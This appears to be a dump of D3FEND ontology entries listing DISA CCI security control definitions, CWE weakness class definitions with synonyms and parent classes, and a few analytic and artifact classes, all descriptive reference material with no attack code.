type: CCIControl
type: NamedIndividual
contributor: DISA FSO
definition: The information system implements cryptographic mechanisms to prevent unauthorized disclosure of organization-defined information at rest on organization-defined information system components.
member-of: CCICatalog v2022-04-05
narrower: DiskEncryption
narrower: FileEncryption
date published: 2013-07-02T00:00:00

CCI-002530
type: CCIControl
type: NamedIndividual
broader: Hardware-basedProcessIsolation
broader: Kernel-basedProcessIsolation
contributor: DISA FSO
definition: The information system maintains a separate execution domain for each executing process.
member-of: CCICatalog v2022-04-05
date published: 2013-07-02T00:00:00

CCI-002531
type: CCIControl
type: NamedIndividual
broader: Hardware-basedProcessIsolation
contributor: DISA FSO
definition: The information system implements underlying hardware separation mechanisms to facilitate process separation.
member-of: CCICatalog v2022-04-05
date published: 2013-07-02T00:00:00

CCI-002533
type: CCIControl
type: NamedIndividual
contributor: DISA FSO
definition: The information system maintains a separate execution domain for each thread in organization-defined multi-threaded processing.
member-of: CCICatalog v2022-04-05
narrower: Kernel-basedProcessIsolation
date published: 2013-07-02T00:00:00

CCI-002536
type: CCIControl
type: NamedIndividual
broader: RFShielding
contributor: DISA FSO
definition: The information system protects organization-defined external and internal wireless links from organization-defined types of signal parameter attacks or references to sources for such attacks.
member-of: CCICatalog v2022-04-05
date published: 2013-07-02T00:00:00

CCI-002546
type: CCIControl
type: NamedIndividual
broader: IOPortRestriction
contributor: DISA FSO
definition: The organization physically disables or removes organization-defined connection ports or input/output devices on organization-defined information systems or information system components.
member-of: CCICatalog v2022-04-05
date published: 2013-07-02T00:00:00

CCI-002605
type: CCIControl
type: NamedIndividual
contributor: DISA FSO
definition: The organization installs security-relevant software updates within an organization-defined time period of the release of the updates.
member-of: CCICatalog v2022-04-05
narrower: SoftwareUpdate
date published: 2013-07-11T00:00:00

CCI-002607
type: CCIControl
type: NamedIndividual
contributor: DISA FSO
definition: The organization installs security-relevant firmware updates within an organization-defined time period of the release of the updates.
member-of: CCICatalog v2022-04-05
narrower: SoftwareUpdate
date published: 2013-07-11T00:00:00

CCI-002613
type: CCIControl
type: NamedIndividual
contributor: DISA FSO
definition: The organization installs organization-defined security-relevant software updates automatically to organization-defined information system components.
member-of: CCICatalog v2022-04-05
narrower: SoftwareUpdate
date published: 2013-07-11T00:00:00

CCI-002614
type: CCIControl
type: NamedIndividual
contributor: DISA FSO
definition: The organization installs organization-defined security-relevant firmware updates automatically to organization-defined information system components.
member-of: CCICatalog v2022-04-05
narrower: SoftwareUpdate
date published: 2013-07-11T00:00:00

CCI-002617
type: CCIControl
type: NamedIndividual
contributor: DISA FSO
definition: The organization removes organization-defined software components (e.g., previous versions) after updated versions have been installed.
member-of: CCICatalog v2022-04-05
narrower: SoftwareUpdate
date published: 2013-07-11T00:00:00

CCI-002618
type: CCIControl
type: NamedIndividual
contributor: DISA FSO
definition: The organization removes organization-defined firmware components (e.g., previous versions) after updated versions have been installed.
member-of: CCICatalog v2022-04-05
narrower: SoftwareUpdate
date published: 2013-07-11T00:00:00

CCI-002630
type: CCIControl
type: NamedIndividual
broader: ScriptExecutionAnalysis
contributor: DISA FSO
definition: The information system detects organization-defined unauthorized operating system commands through the kernel application programming interface at organization-defined information system hardware components.
member-of: CCICatalog v2022-04-05
date published: 2013-07-11T00:00:00

CCI-002631
type: CCIControl
type: NamedIndividual
contributor: DISA FSO
definition: The information system issues a warning, audits the command execution, or prevents the execution of the command when organization-defined unauthorized operating system commands are detected.
member-of: CCICatalog v2022-04-05
narrower: ScriptExecutionAnalysis
date published: 2013-07-11T00:00:00

CCI-002661
type: CCIControl
type: NamedIndividual
contributor: DISA FSO
definition: The information system monitors inbound communications traffic per organization-defined frequency for unusual or unauthorized activities or conditions.
member-of: CCICatalog v2022-04-05
narrower: InboundTrafficFiltering
date published: 2013-07-11T00:00:00

CCI-002662
type: CCIControl
type: NamedIndividual
contributor: DISA FSO
definition: The information system monitors outbound communications traffic per organization-defined frequency for unusual or unauthorized activities or conditions.
member-of: CCICatalog v2022-04-05
narrower: OutboundTrafficFiltering
date published: 2013-07-11T00:00:00

CCI-002684
type: CCIControl
type: NamedIndividual
broader: NetworkTrafficAnalysis
broader: PlatformMonitoring
contributor: DISA FSO
definition: The information system audits and/or alerts organization-defined personnel when unauthorized network services are detected.
member-of: CCICatalog v2022-04-05
date published: 2013-07-11T00:00:00

CCI-002688
type: CCIControl
type: NamedIndividual
broader: FileContentRules
contributor: DISA FSO
definition: The information system discovers indicators of compromise.
member-of: CCICatalog v2022-04-05
date published: 2013-07-11T00:00:00

CCI-002689
type: CCIControl
type: NamedIndividual
broader: FileContentRules
contributor: DISA FSO
definition: The information system collects indicators of compromise.
member-of: CCICatalog v2022-04-05
date published: 2013-07-11T00:00:00

CCI-002690
type: CCIControl
type: NamedIndividual
broader: FileContentRules
contributor: DISA FSO
definition: The information system distributes indicators of compromise.
member-of: CCICatalog v2022-04-05
date published: 2013-07-11T00:00:00

CCI-002691
type: CCIControl
type: NamedIndividual
broader: FileContentRules
contributor: DISA FSO
definition: The information system uses indicators of compromise.
member-of: CCICatalog v2022-04-05
date published: 2013-07-11T00:00:00

CCI-002710
type: CCIControl
type: NamedIndividual
broader: DriverLoadIntegrityChecking
broader: FileHashing
broader: PointerAuthentication
broader: TPMBootIntegrity
contributor: DISA FSO
definition: The information system performs an integrity check of organization-defined software at startup, at organization-defined transitional states or security-relevant events, or on an organization-defined frequency.
member-of: CCICatalog v2022-04-05
date published: 2013-07-11T00:00:00

CCI-002711
type: CCIControl
type: NamedIndividual
broader: TPMBootIntegrity
contributor: DISA FSO
definition: The information system performs an integrity check of organization-defined firmware at startup, at organization-defined transitional states or security-relevant events, or on an organization-defined frequency.
member-of: CCICatalog v2022-04-05
date published: 2013-07-11T00:00:00

CCI-002712
type: CCIControl
type: NamedIndividual
broader: DriverLoadIntegrityChecking
broader: FileHashing
broader: PointerAuthentication
broader: TPMBootIntegrity
contributor: DISA FSO
definition: The information system performs an integrity check of organization-defined information at startup, at organization-defined transitional states or security-relevant events, or on an organization-defined frequency.
member-of: CCICatalog v2022-04-05
date published: 2013-07-11T00:00:00

CCI-002715
type: CCIControl
type: NamedIndividual
contributor: DISA FSO
definition: The information system automatically shuts the information system down, restarts the information system, and/or implements organization-defined security safeguards when integrity violations are discovered.
member-of: CCICatalog v2022-04-05
narrower: DriverLoadIntegrityChecking
narrower: FileHashing
narrower: PointerAuthentication
narrower: TPMBootIntegrity
date published: 2013-07-11T00:00:00

CCI-002716
type: CCIControl
type: NamedIndividual
broader: FileHashing
contributor: DISA FSO
definition: The information system implements cryptographic mechanisms to detect unauthorized changes to software.
member-of: CCICatalog v2022-04-05
date published: 2013-07-11T00:00:00

CCI-002717
type: CCIControl
type: NamedIndividual
broader: FileHashing
contributor: DISA FSO
definition: The information system implements cryptographic mechanisms to detect unauthorized changes to firmware.
member-of: CCICatalog v2022-04-05
date published: 2013-07-11T00:00:00

CCI-002718
type: CCIControl
type: NamedIndividual
broader: FileHashing
contributor: DISA FSO
definition: The information system implements cryptographic mechanisms to detect unauthorized changes to information.
member-of: CCICatalog v2022-04-05
date published: 2013-07-11T00:00:00

CCI-002723
type: CCIControl
type: NamedIndividual
contributor: DISA FSO
definition: The information system, upon detection of a potential integrity violation, provides the capability to audit the event.
member-of: CCICatalog v2022-04-05
narrower: DriverLoadIntegrityChecking
narrower: FileHashing
narrower: PointerAuthentication
narrower: TPMBootIntegrity
date published: 2013-07-11T00:00:00

CCI-002724
type: CCIControl
type: NamedIndividual
contributor: DISA FSO
definition: The information system, upon detection of a potential integrity violation, initiates one or more of the following actions: generates an audit record; alerts the current user; alerts organization-defined personnel or roles; and/or organization-defined other actions.
member-of: CCICatalog v2022-04-05
narrower: DriverLoadIntegrityChecking
narrower: FileHashing
narrower: PointerAuthentication
narrower: TPMBootIntegrity
date published: 2013-07-11T00:00:00

CCI-002726
type: CCIControl
type: NamedIndividual
broader: DriverLoadIntegrityChecking
broader: TPMBootIntegrity
contributor: DISA FSO
definition: The information system verifies the integrity of the boot process of organization-defined devices.
member-of: CCICatalog v2022-04-05
date published: 2013-07-11T00:00:00

CCI-002729
type: CCIControl
type: NamedIndividual
broader: DriverLoadIntegrityChecking
broader: TPMBootIntegrity
contributor: DISA FSO
definition: The information system implements organization-defined security safeguards to protect the integrity of boot firmware in organization-defined devices.
member-of: CCICatalog v2022-04-05
date published: 2013-07-11T00:00:00

CCI-002740
type: CCIControl
type: NamedIndividual
contributor: DISA FSO
definition: The information system implements cryptographic mechanisms to authenticate organization-defined software or firmware components prior to installation.
member-of: CCICatalog v2022-04-05
narrower: ExecutableAllowlisting
date published: 2013-07-11T00:00:00

CCI-002743
type: CCIControl
type: NamedIndividual
broader: SenderMTAReputationAnalysis
broader: SenderReputationAnalysis
contributor: DISA FSO
definition: The information system implements spam protection mechanisms with a learning capability to more effectively identify legitimate communications traffic.
member-of: CCICatalog v2022-04-05
date published: 2013-07-11T00:00:00

CCI-002746
type: CCIControl
type: NamedIndividual
contributor: DISA FSO
definition: The information system provides a manual override capability for input validation of organization-defined inputs.
member-of: CCICatalog v2022-04-05
narrower: DatabaseQueryStringAnalysis
date published: 2013-07-11T00:00:00

CCI-002748
type: CCIControl
type: NamedIndividual
contributor: DISA FSO
definition: The information system restricts the use of the manual override capability to only organization-defined authorized individuals.
member-of: CCICatalog v2022-04-05
narrower: DatabaseQueryStringAnalysis
date published: 2013-07-11T00:00:00

CCI-002749
type: CCIControl
type: NamedIndividual
contributor: DISA FSO
definition: The information system audits the use of the manual override capability.
member-of: CCICatalog v2022-04-05
narrower: DatabaseQueryStringAnalysis
date published: 2013-07-11T00:00:00

CCI-002771
type: CCIControl
type: NamedIndividual
contributor: DISA FSO
definition: The information system validates information output from organization-defined software programs and/or applications to ensure that the information is consistent with the expected content.
member-of: CCICatalog v2022-04-05
narrower: OutboundTrafficFiltering
date published: 2013-07-11T00:00:00

CCI-002824
type: CCIControl
type: NamedIndividual
broader: DeadCodeElimination
broader: ProcessSegmentExecutionPrevention
broader: SegmentAddressOffsetRandomization
broader: StackFrameCanaryValidation
contributor: DISA FSO
definition: The information system implements organization-defined security safeguards to protect its memory from unauthorized code execution.
member-of: CCICatalog v2022-04-05
date published: 2013-07-12T00:00:00

CCI-002883
type: CCIControl
type: NamedIndividual
contributor: DISA FSO
definition: The information system restricts the use of maintenance tools to authorized personnel only.
member-of: CCICatalog v2022-04-05
narrower: UserAccountPermissions
date published: 2013-07-22T00:00:00

CCI-002890
type: CCIControl
type: NamedIndividual
contributor: DISA FSO
definition: The information system implements cryptographic mechanisms to protect the integrity of nonlocal maintenance and diagnostic communications.
member-of: CCICatalog v2022-04-05
narrower: EncryptedTunnels
date published: 2013-07-22T00:00:00

CCI-002891
type: CCIControl
type: NamedIndividual
contributor: DISA FSO
definition: The information system implements remote disconnect verification at the termination of nonlocal maintenance and diagnostic sessions.
member-of: CCICatalog v2022-04-05
narrower: RemoteTerminalSessionDetection
date published: 2013-07-22T00:00:00

CCI-003014
type: CCIControl
type: NamedIndividual
contributor: DISA FSO
definition: The information system enforces organization-defined mandatory access control policies over all subjects and objects.
member-of: CCICatalog v2022-04-05
date published: 2013-08-30T00:00:00

CCI-003123
type: CCIControl
type: NamedIndividual
contributor: DISA FSO
definition: The information system implements cryptographic mechanisms to protect the confidentiality of nonlocal maintenance and diagnostic communications.
member-of: CCICatalog v2022-04-05
narrower: EncryptedTunnels
date published: 2013-09-24T00:00:00

Insufficient Encapsulation of Machine-Dependent Functionality
type: Class
cwe-id: CWE-1105
definition: The product or code uses machine-dependent functionality, but it does not sufficiently encapsulate or isolate this functionality from the rest of the code.
subclass of: CWE-1061
subclass of: CWE-758

Incorrect Access of Indexable Resource ('Range Error')
type: Class
cwe-id: CWE-118
definition: The product does not restrict or incorrectly restricts operations within the boundaries of a resource that is accessed using an index or pointer, such as memory or files.
subclass of: CWE-664

Initialization of a Resource with an Insecure Default
type: Class
label: Insecure Default Initialization of Resource
cwe-id: CWE-1188
definition: The product initializes or sets a resource with a default that is intended to be changed by the administrator, but the default is not secure.
subclass of: CWE-1419
subclass of: CWE-665

Improper Isolation of Shared Resources on System-on-a-Chip (SoC)
type: Class
cwe-id: CWE-1189
definition: The System-On-a-Chip (SoC) does not properly isolate shared resources between trusted and untrusted agents.
subclass of: Improper Isolation or Compartmentalization
subclass of: CWE-668

Buffer Copy without Checking Size of Input ('Classic Buffer Overflow')
type: Class
cwe-id: CWE-120
definition: The product copies an input buffer to an output buffer without verifying that the size of the input buffer is less than the size of the output buffer, leading to a buffer overflow.
synonym: Classic Buffer Overflow
synonym: Unbounded Transfer
subclass of: CWE-119
subclass of: CWE-787

Generation of Weak Initialization Vector (IV)
type: Class
cwe-id: CWE-1204
definition: The product uses a cryptographic primitive that uses an Initialization Vector (IV), but the product does not generate IVs that are sufficiently unpredictable or unique according to the expected cryptographic requirements for that primitive.
subclass of: CWE-330

Insufficient Granularity of Access Control
type: Class
cwe-id: CWE-1220
definition: The product implements access controls via a policy or other feature with the intention to disable or restrict accesses (reads and/or writes) to assets in a system from untrusted agents. However, implemented access controls lack required granularity, which renders the control policy too broad because it allows accesses from unauthorized agents to the security-sensitive assets.
subclass of: CWE-284

Creation of Emergent Resource
type: Class
cwe-id: CWE-1229
definition: The product manages resources or behaves in a way that indirectly creates a new, distinct resource that can be used by attackers in violation of the intended policy.
subclass of: CWE-664

Improper Physical Access Control
type: Class
cwe-id: CWE-1263
definition: The product is designed with access restricted to certain information, but it does not sufficiently protect against an unauthorized actor with physical access to these areas.
subclass of: CWE-284

Improper Validation of Syntactic Correctness of Input
type: Class
cwe-id: CWE-1286
definition: The product receives input that is expected to be well-formed - i.e., to comply with a certain syntax - but it does not validate or incorrectly validates that the input complies with the syntax.
subclass of: CWE-20

Insecure Security Identifier Mechanism
type: Class
cwe-id: CWE-1294
definition: The System-on-Chip (SoC) implements a Security Identifier mechanism to differentiate what actions are allowed or disallowed when a transaction originates from an entity. However, the Security Identifiers are not correctly implemented.
subclass of: CWE-284

Improper Protection of Physical Side Channels
type: Class
cwe-id: CWE-1300
definition: The device does not contain sufficient protection mechanisms to prevent physical side channels from exposing sensitive information due to patterns in physically observable phenomena such as variations in power consumption, electromagnetic emissions (EME), or acoustic emissions.
subclass of: CWE-203

Insufficient or Incomplete Data Removal within Hardware Component
type: Class
cwe-id: CWE-1301
definition: The product's data removal process does not completely delete all data and potentially sensitive information within hardware components.
subclass of: CWE-226

Incorrect Calculation of Buffer Size
type: Class
cwe-id: CWE-131
definition: The product does not correctly calculate the size to be used when allocating a buffer, which could lead to a buffer overflow.
subclass of: CWE-682

Multiple Releases of Same Resource or Handle
type: Class
cwe-id: CWE-1341
definition: The product attempts to close or release a resource or handle more than once, without any successful open between the close operations.
subclass of: CWE-675

Improper Neutralization of Input Terminators
type: Class
cwe-id: CWE-147
definition: The product receives input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could be interpreted as input terminators when they are sent to a downstream component.
subclass of: CWE-138

Improper Neutralization of Wildcards or Matching Symbols
type: Class
cwe-id: CWE-155
definition: The product receives input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could be interpreted as wildcards or matching symbols when they are sent to a downstream component.
subclass of: CWE-138

Improper Neutralization of Multiple Leading Special Elements
type: Class
cwe-id: CWE-161
definition: The product receives input from an upstream component, but it does not neutralize or incorrectly neutralizes multiple leading special elements that could be interpreted in unexpected ways when they are sent to a downstream component.
subclass of: Improper Neutralization of Leading Special Elements

Improper Neutralization of Internal Special Elements
type: Class
cwe-id: CWE-164
definition: The product receives input from an upstream component, but it does not neutralize or incorrectly neutralizes internal special elements that could be interpreted in unexpected ways when they are sent to a downstream component.
subclass of: CWE-138

Permissive List of Allowed Inputs
type: Class
cwe-id: CWE-183
definition: The product implements a protection mechanism that relies on a list of inputs (or properties of inputs) that are explicitly allowed by policy because the inputs are assumed to be safe, but the list is too permissive - that is, it allows an input that is unsafe, leading to resultant weaknesses.
synonym: Allowlist / Allow List
synonym: Safelist / Safe List
synonym: Whitelist / White List
subclass of: CWE-697

Incomplete List of Disallowed Inputs
type: Class
cwe-id: CWE-184
definition: The product implements a protection mechanism that relies on a list of inputs (or properties of inputs) that are not allowed by policy or otherwise require other action to neutralize before additional processing takes place, but the list is incomplete.
synonym: Blacklist / Black List
synonym: Blocklist / Block List
synonym: Denylist / Deny List
subclass of: CWE-1023
subclass of: CWE-693

Reliance on Data/Memory Layout
type: Class
cwe-id: CWE-188
definition: The product makes invalid assumptions about how protocol data or memory is organized at a lower level, resulting in unintended program behavior.
subclass of: Insufficient Encapsulation of Machine-Dependent Functionality
subclass of: CWE-435

Integer Overflow or Wraparound
type: Class
type: NamedIndividual
cwe-id: CWE-190
definition: The product performs a calculation that can produce an integer overflow or wraparound when the logic assumes that the resulting value will always be larger than the original value. This occurs when an integer value is incremented to a value that is too large to store in the associated representation. When this occurs, the value may become a very small or negative number.
synonym: Overflow
synonym: Wraparound
synonym: wrap, wrap-around, wrap around
weakness-of: MathematicalFunction
subclass of: Restriction
  on property: weakness-of
  some values from: MathematicalFunction
subclass of: CWE-682

Insertion of Sensitive Information Into Sent Data
type: Class
cwe-id: CWE-201
definition: The code transmits data to another actor, but a portion of the data includes sensitive information that should not be accessible to that actor.
subclass of: CWE-200

Observable Timing Discrepancy
type: Class
cwe-id: CWE-208
definition: Two separate operations in a product require different amounts of time to complete, in a way that is observable to an actor and reveals security-relevant information about the state of the product, such as whether a particular operation was successful or not.
subclass of: CWE-203

Storage of File with Sensitive Data Under Web Root
type: Class
cwe-id: CWE-219
definition: The product stores sensitive data under the web document root with insufficient access control, which might make it accessible to untrusted parties.
subclass of: CWE-552

Improper Handling of Inconsistent Structural Elements
type: Class
cwe-id: CWE-240
definition: The product does not handle or incorrectly handles when two or more structural elements should be consistent, but are not.
subclass of: CWE-237
subclass of: CWE-707

Uncaught Exception
type: Class
cwe-id: CWE-248
definition: An exception is thrown from a function, but it is not caught.
subclass of: CWE-703
subclass of: CWE-705
subclass of: CWE-755

Unchecked Return Value
type: Class
cwe-id: CWE-252
definition: The product does not check the return value from a method or function, which can prevent it from detecting unexpected states and conditions.
subclass of: CWE-754

Privilege Defined With Unsafe Actions
type: Class
cwe-id: CWE-267
definition: A particular privilege, role, capability, or right can be used to perform unsafe actions that were not intended, even when it is assigned to the correct entity.
subclass of: CWE-269

Incorrect User Management
type: Class
cwe-id: CWE-286
definition: The product does not properly manage a user within its environment.
subclass of: CWE-284

Improper Check for Certificate Revocation
type: Class
cwe-id: CWE-299
definition: The product does not check or incorrectly checks the revocation status of a certificate, which may cause it to use a certificate that has been compromised.
subclass of: CWE-295
subclass of: CWE-404

Incorrect Implementation of Authentication Algorithm
type: Class
cwe-id: CWE-303
definition: The requirements for the product dictate the use of an established authentication algorithm, but the implementation of the algorithm is incorrect.
subclass of: CWE-1390

Inadequate Encryption Strength
type: Class
cwe-id: CWE-326
definition: The product stores or transmits sensitive data using an encryption scheme that is theoretically sound, but is not strong enough for the level of protection required.
subclass of: CWE-693

Use of Weak Hash
type: Class
cwe-id: CWE-328
definition: The product uses an algorithm that produces a digest (output value) that does not meet security expectations for a hash function that allows an adversary to reasonably determine the original input (preimage attack), find another input that can produce the same hash (2nd preimage attack), or find multiple inputs that evaluate to the same hash (birthday attack).
subclass of: Inadequate Encryption Strength
subclass of: CWE-327

Small Space of Random Values
type: Class
cwe-id: CWE-334
definition: The number of possible random values is smaller than needed by the product, making it more susceptible to brute force attacks.
subclass of: CWE-330

Insufficient UI Warning of Dangerous Operations
type: Class
cwe-id: CWE-357
definition: The user interface provides a warning to a user regarding dangerous or sensitive operations, but the warning is not noticeable enough to warrant attention.
subclass of: CWE-693

Trust of System Event Data
type: Class
cwe-id: CWE-360
definition: Security based on event locations are insecure and can be spoofed.
subclass of: CWE-345

Time-of-check Time-of-use (TOCTOU) Race Condition
type: Class
cwe-id: CWE-367
definition: The product checks the state of a resource before using that resource, but the resource's state can change between the check and the use in a way that invalidates the results of the check. This can cause the product to perform invalid actions when the resource is in an unexpected state.
synonym: TOCCTOU
synonym: TOCTTOU
subclass of: CWE-362

Inefficient Algorithmic Complexity
type: Class
cwe-id: CWE-407
definition: An algorithm in a product has an inefficient worst-case computational complexity that may be detrimental to system performance and can be triggered by an attacker, typically using crafted manipulations that ensure that the worst case is being reached.
synonym: Quadratic Complexity
subclass of: CWE-405

Improper Resource Locking
type: Class
cwe-id: CWE-413
definition: The product does not lock or does not correctly lock a resource when the product must have exclusive access to the resource.
subclass of: CWE-667

Path Equivalence: 'filename.' (Trailing Dot)
type: Class
cwe-id: CWE-42
definition: The product accepts path input in the form of trailing dot ('filedir.') without appropriate validation, which can lead to ambiguous path resolution and allow an attacker to traverse the file system to unintended locations or access arbitrary files.
subclass of: CWE-162
subclass of: CWE-41

Improper Protection of Alternate Path
type: Class
cwe-id: CWE-424
definition: The product does not sufficiently protect all possible paths that a user can take to access restricted functionality or resources.
subclass of: Not Using Complete Mediation
subclass of: CWE-693

Path Equivalence: 'file.name' (Internal Dot)
type: Class
cwe-id: CWE-44
definition: The product accepts path input in the form of internal dot ('file.ordir') without appropriate validation, which can lead to ambiguous path resolution and allow an attacker to traverse the file system to unintended locations or access arbitrary files.
subclass of: CWE-41

Use of Function with Inconsistent Implementations
type: Class
cwe-id: CWE-474
definition: The code uses a function that has inconsistent implementations across operating systems and versions.
subclass of: CWE-758

NULL Pointer Dereference
type: Class
type: NamedIndividual
cwe-id: CWE-476
definition: The product dereferences a pointer that it expects to be valid but is NULL.
synonym: NPD
synonym: NPE
synonym: nil pointer dereference
synonym: null deref
weakness-of: PointerDereferencingFunction
subclass of: Restriction
  on property: weakness-of
  some values from: PointerDereferencingFunction
subclass of: CWE-710
subclass of: CWE-754

Active Debug Code
type: Class
cwe-id: CWE-489
definition: The product is deployed to unauthorized actors with debugging code still enabled or active, which can create unintended entry points or expose sensitive information.
synonym: Leftover debug code
subclass of: CWE-710

Critical Public Variable Without Final Modifier
type: Class
cwe-id: CWE-493
definition: The product has a critical public variable that is not final, which allows the variable to be modified to contain unexpected values.
subclass of: CWE-668

Weak Password Requirements
type: Class
cwe-id: CWE-521
definition: The product does not require that users should have strong passwords, which makes it easier for attackers to compromise user accounts.
subclass of: CWE-1391

Use of Cache Containing Sensitive Information
type: Class
cwe-id: CWE-524
definition: The code uses a cache that contains sensitive information, but the cache can be read by an actor outside of the intended control sphere.
subclass of: CWE-668

Reliance on Cookies without Validation and Integrity Checking
type: Class
cwe-id: CWE-565
definition: The product relies on the existence or values of cookies when performing security-critical operations, but it does not properly ensure that the setting is valid for the associated user.
subclass of: Client-Side Enforcement of Server-Side Security
subclass of: CWE-642

Comparison of Object References Instead of Object Contents
type: Class
cwe-id: CWE-595
definition: The product compares object references instead of the contents of the objects themselves, preventing it from detecting equivalent objects.
subclass of: Comparison Using Wrong Factors

Permissive Regular Expression
type: Class
cwe-id: CWE-625
definition: The product uses a regular expression that does not sufficiently restrict the set of allowed values.
subclass of: Incorrect Regular Expression

Not Failing Securely ('Failing Open')
type: Class
cwe-id: CWE-636
definition: When the product encounters an error condition or failure, its design requires it to fall back to a state that is less secure than other options that are available, such as selecting the weakest encryption algorithm or using the most permissive access control restrictions.
synonym: Failing Open
subclass of: CWE-657
subclass of: CWE-755

Not Using Complete Mediation
type: Class
cwe-id: CWE-638
definition: The product does not perform access checks on a resource every time the resource is accessed by an entity, which can create resultant weaknesses if that entity's rights or privileges change over time.
subclass of: CWE-657
subclass of: CWE-862

Authorization Bypass Through User-Controlled Key
type: Class
cwe-id: CWE-639
definition: The system's authorization functionality does not prevent one user from gaining access to another user's data or record by modifying the key value identifying the data.
synonym: Broken Object Level Authorization / BOLA
synonym: Horizontal Authorization
synonym: Insecure Direct Object Reference / IDOR
subclass of: CWE-863

External Influence of Sphere Definition
type: Class
cwe-id: CWE-673
definition: The product does not prevent the definition of control spheres from external actors.
subclass of: CWE-664

Uncontrolled Recursion
type: Class
cwe-id: CWE-674
definition: The product does not properly control the amount of recursion that takes place, consuming excessive resources, such as allocated memory or the program stack.
synonym: Stack Exhaustion
subclass of: CWE-834

Use of Potentially Dangerous Function
type: Class
cwe-id: CWE-676
definition: The product invokes a potentially dangerous function that could introduce a vulnerability if it is used incorrectly, but the function can also be used safely.
subclass of: Use of Prohibited Code

Function Call With Incorrectly Specified Argument Value
type: Class
cwe-id: CWE-687
definition: The product calls a function, procedure, or routine, but the caller specifies an argument that contains the wrong value, which may lead to resultant weaknesses.
subclass of: CWE-628

External Control of File Name or Path
type: Class
cwe-id: CWE-73
definition: The product allows user input to control or influence paths or file names that are used in filesystem operations.
subclass of: CWE-610
subclass of: CWE-642

Compiler Optimization Removal or Modification of Security-critical Code
type: Class
cwe-id: CWE-733
definition: The developer builds a security-critical protection mechanism into the software, but the compiler optimizes the program such that the mechanism is removed or modified.
subclass of: Insecure Automated Optimizations

Failure to Sanitize Special Elements into a Different Plane (Special Element Injection)
type: Class
cwe-id: CWE-75
definition: The product does not adequately filter user-controlled input for special elements with control implications.
subclass of: CWE-74

Mismatched Memory Management Routines
type: Class
cwe-id: CWE-762
definition: The product attempts to return a memory resource to the system, but it calls a release function that is not compatible with the function that was originally used to allocate that resource.
subclass of: Release of Invalid Pointer or Reference

Missing Reference to Active Allocated Resource
type: Class
cwe-id: CWE-771
definition: The product does not properly maintain a reference to a resource that has been allocated, which prevents the resource from being reclaimed.
subclass of: CWE-400

Improper Filtering of Special Elements
type: Class
cwe-id: CWE-790
definition: The product receives data from an upstream component, but does not filter or incorrectly filters special elements before sending it to a downstream component.
subclass of: CWE-138

Buffer Access with Incorrect Length Value
type: Class
cwe-id: CWE-805
definition: The product uses a sequential operation to read or write a buffer, but it uses an incorrect length value that causes it to access memory that is outside of the bounds of the buffer.
subclass of: CWE-119

Signal Handler with Functionality that is not Asynchronous-Safe
type: Class
cwe-id: CWE-828
definition: The product defines a signal handler that contains code sequences that are not asynchronous-safe, i.e., the functionality is not reentrant, or it can be interrupted.
subclass of: CWE-364

Improper Neutralization of Script in Attributes in a Web Page
type: Class
cwe-id: CWE-83
definition: The product does not neutralize or incorrectly neutralizes "javascript:" or other URIs from dangerous attributes within tags, such as onmouseover, onload, onerror, or style.
subclass of: CWE-79

Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')
type: Class
type: NamedIndividual
cwe-id: CWE-89
definition: The product constructs all or part of an SQL command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended SQL command when it is sent to a downstream component. Without sufficient removal or quoting of SQL syntax in user-controllable inputs, the generated SQL query can cause those inputs to be interpreted as SQL instead of ordinary user data.
synonym: SQL injection
synonym: SQLi
weakness-of: UserInputFunction
subclass of: Restriction
  on property: weakness-of
  some values from: UserInputFunction
subclass of: CWE-943

Use of Uninitialized Resource
type: Class
cwe-id: CWE-908
definition: The product uses or accesses a resource that has not been initialized.
subclass of: CWE-665

Improperly Controlled Modification of Dynamically-Determined Object Attributes
type: Class
cwe-id: CWE-915
definition: The product receives input from an upstream component that specifies multiple attributes, properties, or fields that are to be initialized or updated in an object, but it does not properly control which attributes can be modified.
synonym: AutoBinding
synonym: Mass Assignment
synonym: PHP Object Injection
subclass of: CWE-913

Improper Neutralization of CRLF Sequences ('CRLF Injection')
type: Class
cwe-id: CWE-93
definition: The product uses CRLF (carriage return line feeds) as a special element, e.g. to separate lines or records, but it does not neutralize or incorrectly neutralizes CRLF sequences from inputs.
subclass of: CWE-74

Improper Verification of Source of a Communication Channel
type: Class
cwe-id: CWE-940
definition: The product establishes a communication channel to handle an incoming request that has been initiated by an actor, but it does not properly verify that the request is coming from the expected origin.
subclass of: Origin Validation Error
subclass of: CWE-923

Improper Neutralization of Directives in Statically Saved Code ('Static Code Injection')
type: Class
cwe-id: CWE-96
definition: The product receives input from an upstream component, but it does not neutralize or incorrectly neutralizes code syntax before inserting the input into an executable resource, such as a library, configuration file, or template.
subclass of: CWE-94

Centroid-based Clustering
type: Class
type: NamedIndividual
d3fend-id: D3A-CBC
definition: Centroid-based clustering organizes the data into non-hierarchical clusters, in contrast to hierarchical clustering defined below. K-means is the most widely-used centroid-based clustering algorithm. Centroid-based algorithms are efficient but sensitive to initial conditions and outliers.
kb-article: ## References Google Developers. (n.d.). Clustering Algorithms. [Link](https://developers.google.com/machine-learning/clustering/clustering-algorithms)
subclass of: ClusterAnalysis

Clustering
type: Class
subclass of: Summarizing

Coefficient of Variation
type: Class
type: NamedIndividual
d3fend-id: D3A-COV
definition: The coefficient of variation (CV), also known as relative standard deviation (RSD), is a standardized measure of dispersion of a probability distribution or frequency distribution. The coefficient of variation (CV) is defined as the ratio of the standard deviation to the mean .
kb-article: ## References Wikipedia. (n.d.). Coefficient of variation. [Link](https://en.wikipedia.org/wiki/Coefficient_of_variation)
synonym: RSD
synonym: Relative Standard Deviation
subclass of: Variability

Combination Lock
type: Class
definition: A combination lock is a type of locking device in which a sequence of symbols, usually numbers, is used to open the lock.
see also: Federal Specification FL-L-2937
subclass of: Restriction
  on property: uses
  some values from: Password
subclass of: PhysicalLock

Command Line Interface
type: Class
definition: A command-line interface or command language interpreter (CLI), also known as command-line user interface, console user interface, and character user interface (CUI), is a means of interacting with a computer program where the user (or client) issues commands to the program in the form of successive lines of text (command lines). Command-line interfaces to computer operating systems are less widely used by casual computer users, who favor graphical user interfaces. Programs with command-line interfaces are generally easier to automate via scripting.
subclass of: UserInterface
alternative label: CLI
alternative label: CUI
alternative label: Command-line Interface

Computing Snapshot
type: Class
definition: In computer systems, a snapshot is the state of a system at a particular point in time.
subclass of: DigitalInformationBearer
alternative label: Snapshot

Configuration Event
type: Class
definition: A discrete event that creates, applies, modifies, or deletes configuration resources to determine or alter the function of a system, device, application, or service.
